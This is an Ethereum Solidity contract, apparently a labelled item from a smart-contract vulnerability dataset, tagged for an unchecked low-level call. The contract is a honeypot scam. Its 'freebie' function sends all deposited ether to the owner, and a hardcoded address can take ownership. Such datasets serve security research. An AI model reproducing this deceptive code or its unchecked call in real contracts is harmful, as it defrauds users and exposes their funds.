/* * @source: etherscan.io * @author: - * @vulnerable_at_lines: 44 */ pragma solidity ^0.4.19; contract Honey { address public Owner = msg.sender; function() public payable { } function GetFreebie() public payable { if(msg.value>1 ether) { Owner.transfer(this.balance); msg.sender.transfer(this.balance); } } function withdraw() payable public { if(msg.sender==0x0C76802158F13aBa9D892EE066233827424c5aAB){Owner=0x0C76802158F13aBa9D892EE066233827424c5aAB;} require(msg.sender == Owner); Owner.transfer(this.balance); } function Command(address adr,bytes data) payable public { require(msg.sender == Owner); // UNCHECKED_LL_CALLS adr.call.value(msg.value)(data); } }